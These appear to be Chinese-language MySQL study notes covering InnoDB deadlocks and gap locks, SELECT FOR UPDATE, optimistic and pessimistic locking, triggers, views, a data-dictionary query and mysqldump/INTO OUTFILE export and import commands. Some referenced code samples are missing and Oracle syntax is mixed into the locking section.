初始化数据,创建一个表test,事务隔离级别为默认的RR create table test( id int not null, name int, primary key(id), unique key(name) ) engine=innodb; 事务隔离级别: mysql> show variables like '%isolation%'; +---------------+-----------------+ | Variable_name | Value | +---------------+-----------------+ | tx_isolation | REPEATABLE-READ | +---------------+-----------------+ 1 row in set (0.00 sec) 除此之外就是打开两个窗口,简称为会话1,会话2. 【 模拟死锁 】 会话1: 开启一个事务,插入一行记录 mysql>begin; mysql> insert into test values(2017,827); Query OK,1 row affected (0.01 sec) 会话2: mysql> insert into test values(2016,827); 这个时候会话2会阻塞,这个时候有一种特殊的情况,那就是阻塞超时,如果超时会自动停止。 会话1: mysql> insert into test values(2018,826); Query OK,1 row affected (0.00 sec) 可见会话1中的DML操作依旧是可以的。 会话2: mysql> insert into test values(2016,827); ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction 如果看会话2的情况就会发现产生了死锁。 如果要尝试事务隔离级别RC,其实表现的效果是一样的。 仔细看看这个操作的过程就会发现蛮奇怪的,数据之间彼此没有直接的依赖关联,怎么会产生死锁,这个里面有隐式锁升级,还有间隙锁的一些东西 【 模拟意料之外的事务自动提交 】 为了基于上面的测试数据,让两条数据成功插入,在会话2中结束事务。 mysql>commit; 然后开始做意料之外的事务自动提交测试,这一次在同一个会话中测试即可。 问题的背景是如果显式声明事务,在同一会话中做了DML操作,没有提交,如果再开启一个事务,之前的事务会自动提交。 会话1: 这是基于场景1的测试之后的数据情况。 mysql> select *from test; +------+------+ | id | name | +------+------+ | 2018 | 826 | | 2017 | 827 | +------+------+ 2 rows in set (0.00 sec) 显式声明一个事务 mysql> begin; Query OK,0 rows affected (0.02 sec) 然后插入一条记录,重新给一个日期。 mysql> insert into test values(2019,825); Query OK,1 row affected (0.00 sec) 这个时候没有提交,在当前会话中重新再开启一个事务。 mysql > begin; mysql > insert into test values(2015,830); 这个时候如果在会话2中查看,其实会发现,事务已经提交了。 mysql> select *from test; +------+------+ | id | name | +------+------+ | 2018 | 826 | | 2017 | 827 | +------+------+ 2 rows in set (0.00 sec) 在会话1继续回滚事务,会发现于事无补。 mysql> rollback; Query OK,0 rows affected (0.01 sec) 这个时候数据已经自动提交了一部分。 mysql> select *from test; +------+------+ | id | name | +------+------+ | 2018 | 826 | | 2017 | 827 | +------+------+ 2 rows in set (0.00 sec) 【 间隙锁测试 】 上面的测试场景其实还是多多少少都有些关联,其中第一个场景和间隙锁也有关系,简单用单表模拟一下间隙锁。 首先还是保证事务隔离级别是RR,因为间隙锁是RR隔离级别特供,RC中就没有间隙锁这样的定制,在并发场景中还是有不小的影响 会话1: mysql> begin; Query OK,0 rows affected (0.00 sec) 指定数据范围,然后显示声明。 mysql> select id from test where id < 2019 lock in share mode; +------+ | id | +------+ | 2018 | | 2017 | +------+ 2 rows in set (0.00 sec) 会话2: 会话2中也开启一个事务,插入一条记录,结果就被阻塞了 mysql> begin; Query OK,0 rows affected (0.00 sec) mysql> insert into test values(2016,829); ERROR 1205 (HY000): Lock wait timeout exceeded; try restarting transaction 直到事务超时才作罢 【 innodb锁测试 】 会话1> begin; 会话1> select * from test; 这个时候查看show processlist的信息是不会看到更为具体的SQL等的信息 执行select * from infomation_schema.innodb_trx;只有一条记录 会话1> select * from test where id = 1 for update; 再次查看事务表的信息,对比前后两次的结果变化,发现唯一的不同是trx_lock_structs的地方,由0变为了2 会话2> select * from test where id = 1 for update; 这个时候在会话2中执行语句会发生阻塞,因为存在相应的锁等待,等待一段时间,会话2就会提示超时 ERROR 1205 (HY000): Lock wait timeout exceeded; try restarting transaction 执行source check_trx.sql 会发现线程3573在等待,阻塞它的正是线程3574 测试死锁 会话1> begin; 会话1> select * from test where id = 1 for update; 执行select * from infomation_schema.innodb_trx;只有一条记录 会话2> begin; 会话2> select * from test where id = 2 for update; 这个时候两者是不存在阻塞的情况,因为彼此都是影响独立的行 执行source check_trx.sql返回空 执行select * from infomation_schema.innodb_trx;有两条记录 会话1> select * from test where id = 2 for update; 执行source check_trx.sql有一条阻塞信息 会话2> select * from test where id = 1 for update; ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction 这个时候会发现存在死锁,而MySQL会毫不犹豫的清理掉阻塞的那个会话。这个过程是自动完成的 执行source check_trx.sql返回空 查看事务表会发现只有1条记录了。
select for update
查询数据常见模式有三种(以下讨论针对MySQL数据库InnoDB储存引擎RR隔离级别): 1、select ... : 快照读,不加锁 读取当前事务开始时结果集的快照版本即历史版本,历史不会被修改,所以本读取模式对读取前后的资源处理相对简单: 读之前,如果有其他尚未提交的事务已经修改了结果集,本读取模式不会等待这些事务结束,自然也读取不到这些修改。 读之后,当前事务提交之前,本读取模式也不会阻止其他事务修改数据产生更新版本的结果集。 2、select ... in share mode: 当前读,加读锁 读取结果集的最新版本,同时防止其他事务产生更新的数据版本。 由于数据的最新版本是不断变化的,所以本读取模式需要强制阻断最新版本的变化,保证自己读取到的是所有人都一致认可的名副其实的最新版本。 本读取模式在读取前后对资源处理如下: 读取之前获取读锁,即如果有其他尚未提交的事务已经修改了结果集,本读取模式会等待这些事务结束,以确保自己稍后可以读取到这些事务对结果集的修改,同时等待期间会阻塞其他事务对结果集的修改。 读取之后,当前事务提交之前本读取模式会持续阻塞其他事务对结果集的修改。 当前事务提交后释放读锁,所有之前被阻塞的事务可恢复继续执行。 3、select ... for update: 当前读,加写锁 select for update是为了在查询时,避免其他用户以该表进行插入、修改或删除等操作,造成表的不一致性 for update仅适用于InnoDB,且必须在事务(BEGIN/COMMIT)中才能生效 本读取模式拥有select ... in share mode的一切功能,同时它还额外具备阻止其他事务读取最新版本的能力,在读取前后对资源的处理如下: 读取之前获取写锁,即如果有其他尚未提交的事务已经修改了结果集,本读取模式会等待这些事务结束,以确保自己稍后可以读取到这些事务对结果集的修改,同时等待其他会组织其他事务对结果集最新版本的读取和修改。 读取之后,当前事务提交之前本读取模式会持续阻塞其他事务对结果集的修改,也会阻塞其他事务对结果集最新版本的读取。 当前事务提交后释放写锁,所有之前被阻塞的事务可恢复继续执行。 select for update是一种行级锁,一旦用户对某个行施加了行级加锁,则该用户可以查询也可以更新被加锁的数据行,其它用户只能查询但不能更新被加锁的数据行,如果其它用户想更新该表中的数据行则也必须对该表施加行级锁,即使多个用户对一个表均使用了共享更新,但也不允许两个事务同时对一个表进行更新,真正对表进行更新时是以独占方式锁表,一直到提交或复原该事务为止,行锁永远是独占方式锁。 只有当出现如下之一的条件,便释放共享更新锁: (1)、执行提交(COMMIT)语句 (2)、退出数据库(LOG OFF) (3)、程序停止运行 select...for update语句的语法: select ... for update [of column_list][wait n|nowait][skip locked]; of子句用于指定即将更新的列,即锁定行上的特定列。 wait子句指定等待其他用户释放锁的秒数,防止无限期的等待。 select * from t for update 等待行锁释放之后返回查询结果。 select * from t for update nowait 不等待行锁释放,提示锁冲突,不返回结果 select * from t for update wait 5 等待5秒,若行锁仍未释放则提示锁冲突,不返回结果 select * from t for update skip locked 查询返回查询结果,但忽略有行锁的记录 使用for update wait子句的优点如下: 1.防止无限期地等待被锁定的行; 2.允许应用程序中对锁的等待时间进行更多的控制。 3.对于交互式应用程序非常有用,因为这些用户不能等待不确定 4.若使用了skip locked,则可以越过锁定的行,不会报告由wait n 引发的'资源忙'异常报告 分成两类: 加锁范围子句和加锁行为子句 加锁范围子句: 在select…for update之后可使用of子句选择对select的特定数据表进行加锁操作。默认不使用of子句表示在select所有的数据表中加锁 加锁行为子句: 进行for update的操作时与普通select存在很大不同。一般select不需考虑数据是否被锁定,最多根据多版本一致读的特性读取之前的版本。加入for update之后Oracle就要求启动一个新事务,尝试对数据进行加锁。如果当前已经被加锁,默认的行为必然是block等待。使用nowait子句的作用就是避免进行等待,当发现请求加锁资源被锁定未释放的时候直接报错返回。 在日常中对for update的使用还是比较普遍的,特别是在如pl/sql developer中手工修改数据。 For update是Oracle提供的手工提高锁级别和范围的特例语句。Oracle的锁机制是目前各类型数据库锁机制中比较优秀的。所以Oracle认为一般不需要用户和应用直接进行锁的控制和提升,甚至认为死锁这类锁相关问题的出现场景,大都与手工提升锁有关。所以Oracle并不推荐使用for update作为日常开发使用,而且在平时开发和运维中使用了for update却忘记提交会引起很多锁表故障。 什么时候需要使用for update?就是那些需要业务层面数据独占时可以考虑使用for update。 场景上比如火车票订票,在屏幕上显示有票,而真正进行出票时需要重新确定一下这个数据没有被其他客户端修改。所以在这个确认过程中可以使用for update。这是统一的解决方案方案问题,需要前期有所准备。 【 案例 】 某商品用户购买后库存数-1,而某两个或多个用户同时购买,此时三个执行程序均同时读得库存为n,之后进行了一些操作,最后将均执行update table set 库存数=n-1,很显然这是错误的。 解决: 1.使用悲观锁(即排他锁) |--程序A在查询库存数时使用排他锁(select * from table where id=10 for update) |--然后进行后续的操作,包括更新库存数,最后提交事务。 |--程序B在查询库存数时,如果A还未释放排他锁,它将等待。 |--程序C同B…… 2.使用乐观锁(靠表设计和代码来实现) |--一般是在该商品表添加version版本字段或timestamp时间戳字段 |--程序A查询后,执行更新变成了: update table set num=num-1 where id=10 and version=23 这样保证了修改的数据是和它查询出来的数据是一致的,而其他执行程序未进行修改。如果更新失败表示在更新操作之前有其他执行程序已经更新了该库存数,那么就可以尝试重试来保证更新成功。为了尽可能避免更新失败,可以合理调整重试次数,阿里巴巴开发手册规定重试次数不低于三次 乐观锁与其他最大区别在于基于CAS思想,是不具有互斥性,不会产生锁等待而消耗资源,操作过程中认为不存在并发冲突,只有update version失败后才能觉察到。抢购、秒杀就是用了这种实现以防止超卖 Redis实现分布式锁 Redis为单进程单线程模式,采用队列模式将并发访问变成串行访问,且多客户端对redis的连接并不存在竞争关系,其次Redis提供一些命令SETNX,GETSET,可以方便实现分布式锁机制 Redis悲观锁代码实现 Redis乐观锁代码实现 总结乐观锁和悲观锁的区别 1.悲观锁使用了排他锁,当程序独占锁时,其他程序就连查询都是不允许的,导致吞吐较低,如果在查询较多的情况下可使用乐观锁。 2.乐观锁更新有可能会失败,甚至是更新几次都失败,这是有风险的。所以如果写入较频繁,对吞吐要求不高,可使用悲观锁。 也就是一句话: 读用乐观锁,写用悲观锁。 【 MySQL高并发加锁事务处理 】 需求:插入数据时判断test表有无username为'mraz'的数据,无则插入,有则提示"已插入",目的就是想只插入一条username为'mraz'的记录一般程序逻辑
一般少量请求的时候程序逻辑不会有问题,但高并发请求执行时程序并没有按预期执行,会插入多条username为'mraz'的记录。 解决方案: 利用mysql的for update语句和事务的隔离性,再利用php的curl模拟高并发请求该php脚本,查看数据库会只有一条username为'mraz'的记录,达到程序执行的预期结果调整代码
【 Tp5实现悲观锁 】
使用场景举例: 以MySQL InnoDB为例
商品goods表,假设商品的id为2,购买数量为1,status为1表示上架中,2表示下架。现在用户购买此商品,在不是高并发的情况下处理逻辑是:
查找此商品的信息;
检查商品库存是否大于购买数量;
修改商品库存和销量;
上面这种场景在高并发访问的情况下很可能会出现问题。如果商品库存100个,高并发时可能会有1000个同时访问,在到达第2步的时候都会检测通过,这样会出现商品库存是-900个的情况
使用悲观锁处理
当在查询出goods信息后就把当前的数据锁定,直到修改完毕后再解锁,在这个过程中,因为goods被锁定了就不会出现有第三者来对其进行修改了
要使用悲观锁,必须关闭mysql数据库的自动提交属性,因为MySQL默认使用autocommit模式,也就是说当执行一个更新操作后,MySQL会立刻将结果进行提交
thinkphp lock()
Lock方法是用于数据库的锁机制,如果在查询或者执行操作的时候使用:
Db::name('user')->where('id',1)->lock(true)->find();
就会自动在生成的SQL语句最后加上 FOR UPDATE或FOR UPDATE NOWAIT(Oracle数据库)。
lock方法支持传入字符串用于一些特殊的锁定要求,例如:
Db::name('user')->where('id',1)->lock('lock in share mode')->find();
trigger
MySQL包含对触发器的支持。触发器是一种与表操作有关的数据库对象,当触发器所在表上出现指定事件时,将调用该对象,即表的操作事件触发表上的触发器的执行 不能同时在一个表上建立2个相同类型的触发器,因此在一个表上最多建立6个触发器 【创建触发器】 在MySQL中创建触发器语法如下: CREATE TRIGGER trigger_name trigger_time trigger_event ON tbl_name FOR EACH ROW trigger_stmt 其中: trigger_name: 标识触发器名称,用户自行指定; trigger_time: 标识触发时机,取值为BEFORE或AFTER; trigger_event: 标识触发事件,取值为INSERT、UPDATE或DELETE; tbl_name: 标识建立触发器的表名,即在哪张表上建立触发器; trigger_stmt: 触发器程序体,可以是一句SQL语句,或用BEGIN和END包含的多条语句 MySQL除了对INSERT、UPDATE、DELETE基本操作进行定义外,还定义了LOAD DATA和REPLACE语句,这两种语句也能引起上述6中类型的触发器的触发 LOAD DATA语句用于将一个文件装入到一个数据表中,相当与一系列的INSERT操作 REPLACE语句一般来说和INSERT语句很像,只是在表中有primary key或unique索引时,如果插入的数据和原来primary key或unique索引一致时,会先删除原来的数据,然后增加一条新数据,也就是说,一条REPLACE语句有时候等价于一条 INSERT语句,有时候等价于一条DELETE语句加上一条INSERT语句 INSERT 型触发器: 插入某一行时激活触发器,可能通过 INSERT、LOAD DATA、REPLACE 语句触发; UPDATE 型触发器: 更改某一行时激活触发器,可能通过 UPDATE 语句触发; DELETE 型触发器: 删除某一行时激活触发器,可能通过 DELETE、REPLACE 语句触发 BEGIN … END详解 在MySQL中BEGIN … END语句的语法为: BEGIN [statement_list] END 其中,statement_list 代表一个或多个语句的列表,列表内的每条语句都必须用分号(;) 来结尾 而在MySQL中,分号是语句结束的标识符,遇到分号表示该段语句已经结束,MySQL可以开始执行了。因此,解释器遇到statement_list 中的分号后就开始执行,然后会报出错误,因为没有找到和 BEGIN 匹配的 END 这时就会用到 DELIMITER 命令(DELIMITER 是定界符,分隔符的意思) ,它是一条命令,不需要语句结束标识,语法为: DELIMITER new_delemiter new_delemiter 可以设为1个或多个长度的符号,默认的是分号(;) ,我们可以把它修改为其他符号,如$: DELIMITER $ 在这之后的语句,以分号结束,解释器不会有什么反应,只有遇到了$,才认为是语句结束。注意,使用完之后,我们还应该记得把它给修改回来一个完整的创建触发器示例
MySQL中使用DECLARE来定义一局部变量,该变量只能在BEGIN … END复合语句中使用,并且应该定义在复合语句的开头,即其它语句之前,语法如下: DECLARE var_name[,...] type [DEFAULT value] 其中: var_name为变量名称,同SQL语句一样,变量名不区分大小写;type为MySQL支持的任何数据类型;可以同时定义多个同类型的变量,用逗号隔开;变量初始值为NULL,如果需要可以使用DEFAULT子句提供默认值,值可以被指定为一个表达式 对变量赋值采用SET语句,语法为: SET var_name = expr [,var_name = expr] ... NEW 与 OLD 详解 上述示例中使用了NEW关键字,和 MS SQL Server 中的 INSERTED 和 DELETED 类似,MySQL 中定义了 NEW 和 OLD,用来表示触发器的所在表中,触发了触发器的那一行数据 具体地: 在INSERT型触发器中,NEW用来表示将要(BEFORE)或已经(AFTER)插入的新数据; 在UPDATE型触发器中,OLD用来表示将要或已经被修改的原数据,NEW 用来表示将要或已经修改为的新数据; 在DELETE型触发器中,OLD用来表示将要或已经被删除的原数据; 使用方法: NEW.columnName (columnName 为相应数据表某一列名) 另外,OLD 是只读的,而 NEW 则可以在触发器中使用 SET 赋值,这样不会再次触发触发器,造成循环调用(如每插入一个学生前,都在其学号前加"2013") 查看触发器 SHOW TRIGGERS [FROM schema_name]; 其中schema_name即Schema的名称,在MySQL中Schema和Database是一样的,即可以指定数据库名,这样就不必先"USE database_name;"了 删除触发器 DROP TRIGGER [IF EXISTS] [schema_name.]trigger_name 触发器的执行顺序 我们建立的数据库一般都是InnoDB数据库,其上建立的表是事务性表,这时若SQL语句或触发器执行失败,MySQL 会回滚事务,有: ①如果BEFORE触发器执行失败,SQL无法正确执行 ②SQL执行失败时,AFTER型触发器不会触发 ③AFTER类型的触发器执行失败,SQL会回滚
视图
视图是基于SQL语句的结果集的可视化的表。 视图包含行和列,就像一个真实的表,视图中的字段就是来自一个或多个数据库中的真实的表中的字段。视图并不在数据库中以存储的数据值集形式存在,而是存在于实际引用的数据库表中,视图的构成可以是单表查询,多表联合查询,分组查询以及计算(表达式)查询等。行和列数据来自由定义视图的查询所引用的表,并且在引用视图时动态生成 视图是一个虚拟表,其内容由查询定义。同真实的表一样,视图包含一系列带有名称的列和行数据,但视图并不在数据库中以存储的数据值集形式存在。行和列数据来自由定义视图的查询所引用的表并且在引用视图时动态生成 对其中所引用的基础表来说,视图的作用类似于筛选。定义视图的筛选可以来自当前或其它数据库的一个或多个表或其它视图。通过视图进行查询没有任何限制,通过它们进行数据修改时的限制也很少 视图是存储在数据库中的查询的SQL语句,它主要出于两种原因: 安全原因,视图可以隐藏一���数据,如社会保险基金表,可以用视图只显示姓名地址,而不显示社会保险号和工资数等,另一原因是可使复杂的查询易于理解和使用,这个视图就像一个窗口,从中只能看到想看的数据列,这意味着可以在这个视图上使用SELECT *,而看到的将是在视图定义里给出的那些数据列 增删改最终都是修改到基础表,且视图中虽然可以更新数据,但有很多的限制。一般情况下最好将视图作为查询数据的虚拟表,而不要通过视图更新数据,因为使用视图更新数据时,如果没有全面考虑在视图中更新数据的限制就可能会造成数据更新失败 既然视图的定义是基于基本表的,还要定义视图是因为合理地使用视图能够带来许多好处: 1、视图能简化用户操作 视图机制使用户可以将注意力集中在所关心地数据上。如果这些数据不是直接来自基本表,则可以通过定义视图,使数据库看起来结构简单、清晰,并且可以简化用户的的数据查询操作。例如,那些定义了若干张表连接的视图,就将表与表之间的连接操作对用户隐藏起来了。换句话说,用户所作的只是对一个虚表的简单查询,而这个虚表是怎样得来的,用户无需了解 2、视图使用户能以多种角度看待同一数据 视图机制能使不同的用户以不同的方式看待同一数据,当许多不同种类的用户共享同一个数据库时,这种灵活性是非常必要的 3、视图对重构数据库提供了一定程度的逻辑独立性 数据的物理独立性是指用户的应用程序不依赖于数据库的物理结构。数据的逻辑独立性是指当数据库重构造时,如增加新的关系或对原有的关系增加新的字段,用户的应用程序不会受影响。层次数据库和网状数据库一般能较好地支持数据的物理独立性,而对于逻辑独立性则不能完全的支持 在关联数据库中,数据库的重构造往往是不可避免的。重构数据库最常见的是将一个基本表垂直地分成多个基本表,例如将学生关系Student(Sno,Sname,Ssex,Sage,Sdept)分为SX(Sno,Sname,Sage)和SY(Sno,Ssex,Sdept)两个关系。这时原表Student为SX表和SY表自然连接的结果。如果建立一个视图Student: CREATE VIEW Student(Sno,Sname,Ssex,Sage,Sdept)AS SELECT SX.Sno,SX.Sname,SY.Ssex,SX.Sage,SY.Sdept FROM SX,SY WHERE SX.Sno=SY.Sno; 这样尽管数据库的逻辑结构改变了(变为SX和SY两个表了),但应用程序不必修改,因为新建立的视图定义为用户原来的关系,使用户的外模式保持不变,用户的应用程序通过视图仍然能够查找数据 当然,视图只能在一定程度上提供数据的逻辑独立,比如由于视图的更新是有条件的,因此应用程序中修改数据的语句可能仍会因为基本表构造的改变而改变 4、视图能够对机密数据提供安全保护,可以进行权限控制 把表的权限封闭,但开放相应的视图权限,视图里只开放部分数据列等 有了视图机制就可以在设计数据库应用系统时,对不同的用户定义不同的视图,使机密数据不出现在不应该看到这些数据的用户视图上,这样视图机制就自动提供对机密数据的安全保护功能,例如Student表涉及全校15个院系学生数据,可以在其上定义15个视图,每个视图只包含一个院系的学生数据,并只允许每个院系的主任查询和修改本原系学生视图 5、适当的利用视图可以更清晰地表达查询 例如经常需要执行这样的查询"对每个学生找出他获得最高成绩的课程号"。可以先定义一个视图,求出每个同学获得的最高成绩: create view vmgrade as select sno,max(grade) mgrade from sc group by sno 然后用如下的查询语句完成查询 select sc.sno,cno from sc,vmgrade where sc.sno = vmgrade.sno and sc.grade = vmgrade.mgrade; 6、大数据表分表的时候,比如某表的数据有100万条,那么可以将这张表分成四个视图,按照对id取余计算 【 视图的缺点 】 1)性能差: 把视图查询转化成对基本表的查询,如果这个视图是由一个复杂的多表查询所定义,那么即使是视图的一个简单查询,sql server也要把它变成一个复杂的结合体,需要花费一定的时间。 2)修改限制: 当用户试图修改视图的某些信息时,数据库必须把它转化为对基本表的某些信息的修改,对于简单的视图来说这是很方便的,但是对于比较复杂的试图,可能是不可修改的 【 视图使用场景 】 1)需要权限控制的时候 2)如果某个查询结果出现的非常频繁,就是要经常拿这个查询结果来做子查询,使用视图会更加方便。 3)关键信息来源于多个复杂关联表,可以创建视图提取需要的信息,简化操作; 【 视图的分类 】 1)关系视图: 它属于数据库对象的一种,也就是最常见的一种关联查询; 2)内嵌视图: 它不属于任何用户,也不是对象,创建方式与普通视图完全不同,不具有可复用性,不能通过数据字典获取数据; 3)对象视图: 它是基于表对象类型的视图,特性是继承、封装等可根据需要构建对象类型封装复杂查询(官方:为了迎合对象类型而重建数据表是不实现的); 4)物化视图: 它主要用于数据库的容灾(备份),实体化的视图可存储和查询,通过DBLink连接在主数据库物化视图中复制,当主库异常备库接管实现容灾; 【 视图的算法——存在两种执行的算法 】 a、Merge: 合并的执行方式,每当执行的时候,先将视图的sql语句与外部查询视图的sql语句混合在一起,最终执行。 b、Temptable: 临时表模式,每当查询的时候,将视图所使用的select语句生成一个结果的临时表,再在当前临时表内进行查询
使用案例
1. 语法
create [or replace] [algorithm = {undefined | merge | temptable}] view [db_name.]view_name [(column_list)] as select_statement [with [cascaded | local] check option]
通过该语句可以创建视图,若给定了[OR REPLACE],则表示当已具有同名的视图时,将覆盖原视图。select_statement是一个查询语句,这个查询语句可从表或其它的视图中查 询。视图属于数据库,因此需要指定数据库的名称,若未指定时,表示在当前的数据库创建新视图
表和数据库共享数据库中相同的名称空间,因此,数据库不能包含相同名称的表和视图,并且,视图的列名也不能重复
在创建视图前应先看看是否有权限:
select select_priv,create_view_priv from mysql.user where user='root';
2、单表上创建视图、调取视图
在员工表是创建视图
create view v_view1(id,name,sex,age,department) as select id,name,sex,age,department from t_employee;
select * from v_view1;
3、多表上创建视图
create view v_view2(id,name,sex,age,department,pos,experence) as select a.id,a.name,a.sex,a.age,a.department,b.pos,b.experence from t_employee a,t_employee_detail b where a.id=b.id;
select * from v_view2
4、查看视图
show tables; // 视图放在information_schema数据库下的views表里
show table status from companys like 'v_test'; // 查看视图的定义
(1)describe命令
describe v_view2
(2)show table status
show table status like 'v_view2'
(3)show create view命令
show create view v_view2
5、修改视图
(1)create or replace命令
create or replace view v_view1(id,name,sex) as select id,name,sex from learning.t_employee;
(2) alter命令
alter view v_view1(id,name) as select id,name from learning.t_employee;
select * from learning.v_view1
6、更新视图
在mysql中更新视图是指通过视图来插入(insert)、更新(update)和删除(delete)表中的数据。因为视图是一个虚拟表,其中没有数据,所以通过视图更新时都是转换到基本表来更新
更新视图时只能更新权限范围内的数据,超出了范围就不能更新
update v_view2 set pos='高级工程师' where name='天天'
select * from learning.t_employee_detail where t_employee_detail.id=3
不可更新的视图:
某些视图是可更新的,也就是说可以在诸如update、delete或insert等语句中使用它们以更新基表的内容。
对于可更新的视图,在视图中的行和基表中的行之间必须具有一对一的关系。
还有一些特定的其他结构,这类结构会使得视图不可更新,如果视图包含下述结构中的任何一种,那么它就是不可更新的:
· 聚合函数(sum(),min(),max(),count()等)
· distinct
· group by
· having
· union或union all
· 位于选择列表中的子查询
· join
· from子句中的不可更新视图
· where子句中的子查询,引用from子句中的表
· 仅引用文字值(在该情况下,没有要更新的基本表)
· algorithm = temptable(使用临时表总会使视图成为不可更新的)
视图中虽然可以更新数据,但是有很多的限制。一般情况下,最好将视图作为查询数据的虚拟表,而不要通过视图更新数据。因为,使用视图更新数据时,如果没有全面考虑在视图中更新数据的限制,就可能会造成数据更新失败
cascaded和local能不能决定视图是否能更新?
with[cascaded|local] check option能不能决定视图是否能更新?这两个参数的基本定义如下:
local参数表示更新视图时只要满足该视图本身定义的条件即可
cascaded参数表示更新视图时需要满足所有相关视图和表的条件。没有指明时,该参数为默认值
with check option的用法:
(with check option对于没有where条件的视图不起作用的)
create view v_view3(id,name,sex,age,department,salary,home,marry,hobby) as select id,name,sex,age,department,salary,home,marry,hobby from learning.t_employee where department='人事部' with local check option;
表示只限定插入部门为人事部的人
对于with check option用法,总结如下:
通过有with check option选项的视图操作基表(只是面对单表,对连接多表的视图正在寻找答案),有以下结论: 插入后的数据,通过视图能够查询出来就符合with check option 否则就不符合;
首先视图只操作它可以查询出来的数据,对于它查询不出的数据,即使基表有,也不可以通过视图来操作
1.对于update,有with check option,要保证update后,数据要被视图查询出来
2.对于delete,有无with check option都一样
4.对于insert,有with check option,要保证insert后,数据要被视图查询出来
对于没有where 子句的视图,使用with check option是多余的
7、删除视图
drop view if exists 视图名
数据库字典
在开发过程中需要对数据库进行管理,用过一些数据库字典导出软件,但后期数据库做了改动无法同步数据,需要再导出一份新的数据字典,可通过php实现web版数据库数据字典查看功能, 目的: 1.能实时的同步数据;2.方便查看,不必每次都去查阅数据库;3.方便后期开发人员了解数据结构 information_schema数据库下的 COLUMNS表和TABLES表中的字段做下介绍: 1、 COLUMNS表 TABLE_CATALOG : 表限定符 TABLE_SCHEMA : 表所属的库 TABLE_NAME : 表名 COLUMN_NAME : 表字段名 ORDINAL_POSITION : 字段标识(字段编号,从1开始往后递增) COLUMN_DEFAULT : 字段默认值 IS_NULLABLE : 字段是否为空 DATA_TYPE : 数据类型(如: varchar、int、tinyint、decimal) CHARACTER_MAXIMUM_LENGTH : 字段的最大字符数(适于二进制数据、字符数据,或者文本和图像数据。否则,返回 NULL) CHARACTER_OCTET_LENGTH : 字段的最大字节数(适于二进制数据、字符数据,或者文本和图像数据。否则,返回 NULL) NUMERIC_PRECISION : 数字精度(适于各类数字类型,如int、float。否则,返回NULL) NUMERIC_SCALE : 小数位数(适于各类数字类型,如int、float。否则,返回NULL) DATETIME_PRECISION : datetime 及 SQL-92 interval 数据类型的子类型代码。对于其它数据类型,返回 NULL CHARACTER_SET_NAME : 字段字符集名称(如: utf8) COLLATION_NAME : 字符集排序规则(如: utf8_general_ci) COLUMN_TYPE : 字段类型 COLUMN_KEY : 索引类型 EXTRA : 其他信息(如: auto_increment) PRIVILEGES : 权限(如: select,insert,update,references) COLUMN_COMMENT : 字段注释 2、 TABLES表 TABLE_CATALOG : 表限定符 TABLE_SCHEMA : 表所属库 TABLE_NAME : 表名 TABLE_TYPE : 表类型 ENGINE : 引擎 VERSION : 版本 ROW_FORMAT : 是否压缩 TABLE_ROWS : 表记录总数 AVG_ROW_LENGTH : 平均行长度 DATA_LENGTH : 表的大小 MAX_DATA_LENGTH : 最大数据长度 INDEX_LENGTH : 索引的大小 DATA_FREE : 表的可用空间 AUTO_INCREMENT : 自增主键 CREATE_TIME : 建表时间 UPDATE_TIME : 更新时间 CHECK_TIME : 查询时间 TABLE_COLLATION : 表的字符集 CHECKSUM : 校验和 CREATE_OPTIONS : 创建选项 TABLE_COMMENT : 表注释tp数据字典
数据库导入导出
【 mysql数据导出-备份,要避免锁表 】
mysqldump 命令行结尾不需要分号,否则报错找不到数据表
1.mysql命令行导出,默认自动生成在bin目录下,其他路径如E:\
cmd> mysqldump -u 用户名 -p 数据库名 > 导出的文件名 // 导出整个数据库,默认是mysql/bin目录下
cmd> mysqldump -u 用户名 -p 数据库名 表名 > 导出的文件名 // 导出数据表,导出文件可以是sql、txt、csv等
cmd> mysqldump -P 3306 -h 192.168.1.25 -uroot -p -q -e base_push > C:\Users\think\Desktop\base_push20170921.sql
cmd> mysqldump -uroot -p blog > e:blog.sql // 导出数据库blog到d盘blog.sql;左括号是导入外部SQL文件
cmd> mysqldump -uroot -p tp5 cate > d:cate.sql
cmd> mysql -uroot -p < e:\\blog.sql // 导入sql文件到数据库
cmd> mysqldump -uroot -proot --all-databases >/tmp/all.sql
cmd> mysqldump -uroot -proot --databases db1 --tables a1 a2 >/tmp/db1.sql // 导出指定表只能针对一个数据库进行导出
cmd> mysqldump -uroot -p --databases tp5 --tables cate >e:cate.sql
cmd> mysqldump -uroot -p --databases tp5 --tables cate --where='id=1' >e:cate.sql
cmd> mysqldump -uroot -proot --databases db1 db2 >/tmp/user.sql
cmd> mysqldump --column-statistics=0 --host=server --port=3306 --user root --password > dump_file_path mysql8.0需要添加新参数--column-statistics=0
cmd> mysqldump -u root -p -A > Alldb.sql 只导出数据和数据结构,没有备份存储过程和触发器
cmd> mysqldump -uroot -proot --no-data --databases db1 >/tmp/db1.sql 只导出数据库中的数据结构
cmd> mysqldump -u root -p -t dbname > dbname.sql 只导出数据不导出数据结构
cmd> mysqldump -u root -p -E dbname > dbname.sql 导出数据库中的Events
cmd> mysqldump -u root -p -R dbname > dbname.sql 导出数据库中的存储过程和函数
cmd> mysqldump --host=192.168.80.137 -uroot -proot --databases test | mysql --host=192.168.80.133 -uroot -proot test 跨服务器导出导入数据
2.select ... into outfile "filename"语句可将select命令写入一个sql或其他格式的文本文件然后执行,并用load data infile语句恢复数据,但只能导出或导入数据的内容,不包括表的结构
mysql> show variables like '%secure%'; // 目录权限问题secure_file_priv E:\wamp64\tmp\,查看secure_file_priv的值,把文件下载到对应值下面,此目录为可导入和导出的目录
mysql> select @@secure_file_priv; // 这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效
mysql> select * from cate into outfile "E:/wamp64/tmp/cate.txt";
mysql> select * from cate into outfile "E:/wamp64/tmp/cate.sql"; //生成txt文件和SQL文件等效
mysql> select * from user into outfile 'E:/wamp64/tmp/user.txt' fields terminated by ',' enclosed by '"' lines terminated by '\n'; // 字段值用双引号括起来,逗号分隔,每条记录换行
mysql> select 'a\naa\raaaa' into outfile 'E:/wamp64/tmp/test.txt';
mysql> select load_file('E:/wamp64/tmp/test.txt');
使用select命令还可以指定写出文件时,字段之间的分隔字符,转义字符,包括字符,及记录行分隔字符
fields terminated by "\t" [optionally] enclosed by "" escaped by "\\" lines terminated by PHP_EOL
terminated 表示字段分隔
[optionally] enclosed 表示字段用什么字符包括起来,如果使用了optionally则只有CHAR和VERCHAR被包括
escaped表示当需要转义时用什么作为转义字符
lines terminated表示每行记录之间用什么分隔
